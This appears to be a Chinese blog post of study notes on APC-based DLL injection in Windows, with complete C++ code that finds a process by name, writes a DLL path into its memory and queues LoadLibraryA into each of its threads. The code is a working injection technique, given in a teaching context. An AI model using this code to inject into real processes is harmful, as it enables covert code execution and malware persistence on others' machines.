DLL注入:APC注入

   本人学习《Windows黑客编程技术详解》所做的学习笔记

  • 简介:APC为异步调用,指函数在特定线程中被异步执行,在操作系统中,APC是一种并发机制,用于异步IO,或者定时器。
  • 大致思路:每一个进程中都有一个APC队列,每当要执行一个函数时,就利用QueueUserAPC函数把一个APC函数压入队列中,当函数要被执行时,我们将函数以先进先出的形式执行函数,此时我们便可以把我们要注入的dll给放入队列中
  • 同步调用:像普通程序一样,需要按序进行,下一条代码必须要等上一条代码执行后,才能运行。
  • 异步调用:无需等待,直接执行。

1,进程遍历

我们选择注入的进程,与远线程注入不同的是,我们选择他已经有的线程进行注入,为了保证能被进程有效调用,我们选择遍历进程中的所有进程并且全部注入我们的dll。

1,CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0) 获得系统进程快照句柄

HANDLE_WINAPI CreateToolHelp32Snapshot(
      DWORD dwFlags,         //获取的类型
      DWORD th32ProcessID    //指向要获取的进程快照,全部为0
);
TH32CS_SNAPHEAPLIST:表示快照信息包含特定进程的堆栈列表
TH32CS_SNAPMODULE :表示快照信息包含特定进程的使用模块的列表
TH32CS_SNAPPROCESS:表示快照信息包含系统的所有进程的列表
TH32CS_SNAPTHREAD :表示快照信息包含系统所有线程的列表

2,Process32First(hSnapshot, &pe32) 获取第一个进程的快照信息

Process32Next(hSnapshot, &pe32) 获取下一个进程的快照信息

Thread32First(hSnapshot, &te32) 获得第一个线程的快照信息

Thread32Next(hSnapshot, &te32) 获取下一个线程的快照信息

BOOL WINAPI Process32First(
    HANDLE hSnapshot,                    // 系统进程的句柄
    LPPROCESSENTRY32/THREADENTRY32 lppe  // 进程/线程 快照的结构体
);

3,RtlZeroMemory(pThreadId, (dwBufferLength * sizeof(DWORD))) 用0填充一块内存

void ZeroMemory(
    PVOID  Destination, //地址
    SIZE_T Length       //填0的长度
);

完成代码

// 根据进程名称获取PID
DWORD GetProcessIdByProcessName(const char *pszProcessName)
{
	DWORD dwProcessId = 0;
	PROCESSENTRY32 pe32 = { 0 };
	HANDLE hSnapshot = NULL;
	BOOL bRet = FALSE;
	::RtlZeroMemory(&pe32, sizeof(pe32));
	pe32.dwSize = sizeof(pe32);

	// 获取进程快照
	hSnapshot = ::CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
	if (NULL == hSnapshot)
	{
		ShowError("CreateToolhelp32Snapshot");
		return dwProcessId;
	}

	// 获取第一条进程快照信息
	bRet = ::Process32First(hSnapshot, &pe32);
	while (bRet)
	{
		// 获取快照信息
		if (0 == ::lstrcmpi(pe32.szExeFile, pszProcessName))
		{
			dwProcessId = pe32.th32ProcessID;
			break;
		}

		// 遍历下一个进程快照信息
		bRet = ::Process32Next(hSnapshot, &pe32);
	}

	return dwProcessId;
}


// 根据PID获取所有的相应线程ID
BOOL GetAllThreadIdByProcessId(DWORD dwProcessId, DWORD **ppThreadId, DWORD *pdwThreadIdLength)
{
	DWORD *pThreadId = NULL;
	DWORD dwThreadIdLength = 0;
	DWORD dwBufferLength = 1000;
	THREADENTRY32 te32 = { 0 };
	HANDLE hSnapshot = NULL;
	BOOL bRet = TRUE;

	do
	{
		// 申请内存
		pThreadId = new DWORD[dwBufferLength];
		if (NULL == pThreadId)
		{
			ShowError("new");
			bRet = FALSE;
			break;
		}
		::RtlZeroMemory(pThreadId, (dwBufferLength * sizeof(DWORD)));

		// 获取线程快照
		::RtlZeroMemory(&te32, sizeof(te32));
		te32.dwSize = sizeof(te32);
		hSnapshot = ::CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
		if (NULL == hSnapshot)
		{
			ShowError("CreateToolhelp32Snapshot");
			bRet = FALSE;
			break;
		}

		// 获取第一条线程快照信息
		bRet = ::Thread32First(hSnapshot, &te32);
		while (bRet)
		{
			// 获取进程对应的线程ID
			if (te32.th32OwnerProcessID == dwProcessId)
			{
				pThreadId[dwThreadIdLength] = te32.th32ThreadID;
				dwThreadIdLength++;
			}

			// 遍历下一个线程快照信息
			bRet = ::Thread32Next(hSnapshot, &te32);
		}

		// 返回
		*ppThreadId = pThreadId;
		*pdwThreadIdLength = dwThreadIdLength;
		bRet = TRUE;

	} while (FALSE);

	if (FALSE == bRet)
	{
		if (pThreadId)
		{
			delete[]pThreadId;
			pThreadId = NULL;
		}
	}

	return bRet;
}

2,APC注入

完成上面简单的遍历,终于可以进入我们的正题了,APC注入!!

APC注入原理

在windows中,每个线程都会维护一个线程APC队列,通过QueueUserAPC把函数添加到指定线程APC队列中,当要执行函数时,Windows系统会发送一个软中断去执行函数,而用户模式下的APC队列,则需要线程处于可警告状态才能运行,一个线程在内部使用SignalObjectAndWait,SleepEx,WaitForSingleObjectEx,WaitForMulitpleObjectsEx等函数将用户的线程挂起变为可警告状态,则可以进行注入。

1,QueueUserAPC((PAPCFUNC)pLoadLibraryAFunc, hThread, (ULONG_PTR)pBaseAddress) 将函数压入队列中

DWORD QueueUserAPC(
  PAPCFUNC  pfnAPC,   //执行的函数
  HANDLE    hThread,  //线程
  ULONG_PTR dwData    //函数参数
);

完成代码

// APC注入
BOOL ApcInjectDll(const char *pszProcessName)
{
	char szDllPath[MAX_PATH] = { 0 };
	GetCurrentDirectoryA(MAX_PATH, szDllPath);
	strcat_s(szDllPath, "\\InjectDll.dll");
	BOOL bRet = FALSE;
	DWORD dwProcessId = 0;
	DWORD *pThreadId = NULL;
	DWORD dwThreadIdLength = 0;
	HANDLE hProcess = NULL, hThread = NULL;
	PVOID pBaseAddress = NULL;
	FARPROC pLoadLibraryAFunc = NULL;
	SIZE_T dwRet = 0, dwDllPathLen = (strlen(szDllPath) + 1);
	DWORD i = 0;

	do
	{
		// 根据进程名称获取PID
		dwProcessId = GetProcessIdByProcessName(pszProcessName);
		if (0 >= dwProcessId)
		{
			bRet = FALSE;
			break;
		}

		// 根据PID获取所有的相应线程ID
		bRet = GetAllThreadIdByProcessId(dwProcessId, &pThreadId, &dwThreadIdLength);
		if (FALSE == bRet)
		{
			bRet = FALSE;
			break;
		}

		// 打开注入进程
		hProcess = ::OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwProcessId);
		if (NULL == hProcess)
		{
			ShowError("OpenProcess");
			bRet = FALSE;
			break;
		}

		// 在注入进程空间申请内存
		pBaseAddress = ::VirtualAllocEx(hProcess, NULL, dwDllPathLen, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
		if (NULL == pBaseAddress)
		{
			ShowError("VirtualAllocEx");
			bRet = FALSE;
			break;
		}
		// 向申请的空间中写入DLL路径数据 
		::WriteProcessMemory(hProcess, pBaseAddress, szDllPath, dwDllPathLen, &dwRet);
		if (dwRet != dwDllPathLen)
		{
			ShowError("WriteProcessMemory");
			bRet = FALSE;
			break;
		}

		// 获取 LoadLibrary 地址
		pLoadLibraryAFunc = ::GetProcAddress(::GetModuleHandle("kernel32.dll"), "LoadLibraryA");
		if (NULL == pLoadLibraryAFunc)
		{
			ShowError("GetProcessAddress");
			bRet = FALSE;
			break;
		}

		// 遍历线程, 插入APC
		for (i = 0; i < dwThreadIdLength; i++)
		{
			// 打开线程
			hThread = ::OpenThread(THREAD_ALL_ACCESS, FALSE, pThreadId[i]);
			if (hThread)
			{
				// 插入APC
				::QueueUserAPC((PAPCFUNC)pLoadLibraryAFunc, hThread, (ULONG_PTR)pBaseAddress);
				// 关闭线程句柄
				::CloseHandle(hThread);
				hThread = NULL;
			}
		}

		bRet = TRUE;

	} while (FALSE);

	// 释放内存
	if (hProcess)
	{
		::CloseHandle(hProcess);
		hProcess = NULL;
	}
	if (pThreadId)
	{
		delete[]pThreadId;
		pThreadId = NULL;
	}

	return bRet;
}

猜你喜欢

转载自blog.csdn.net/GeniusLS/article/details/119658951
今日推荐